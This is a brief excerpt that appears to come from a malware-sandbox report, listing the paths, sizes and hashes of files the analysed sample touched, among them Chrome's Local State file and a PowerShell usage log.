SHA512 087488bcaa7f3ad87fea09b0fe3c4e7768adc61b2f9c272af558e8a4e1b45abba91ba54c2aebdcbebb1d44a4cb832219581b692abbdf61dd8cd909edf770b2d4
SSDEEP 384:YY2YLPLezJXhL1kXqKf/pUZNCgVLH2Hf9w5rUksHGWrWdbT2:YnYLPLuNhL1kXqKf/pUZNCgVLH2Hfq50
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 260KB
SHA256 deb1aa72e017d4f454ce89d486553d8bff9e7f06005c30cd16e07c10ed6b0c5c
MD5 39097a526ef02b4975918239479a1fe6
SHA1 c4da87968969a9a8a2aa394a68fb541d8c7bbcf6
SHA512 ecce943dd9693d62be7c0b05879c393468de6dad57b5f976465eba7bba69f63ceda94727d99b293e14d9a4aa9011b9dac9342061509dab00b5748c9d469d1b89
SSDEEP 6144:tzJX95LWcUP9KAC3cVQhGU5ga4ObNrVQYRPILxZnhLMJjX0EeGzY2rLG:tXZWcUPTkcUga5rVQ5fnReEFsLLG
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
MD5 SHA1 SHA512

Submit Download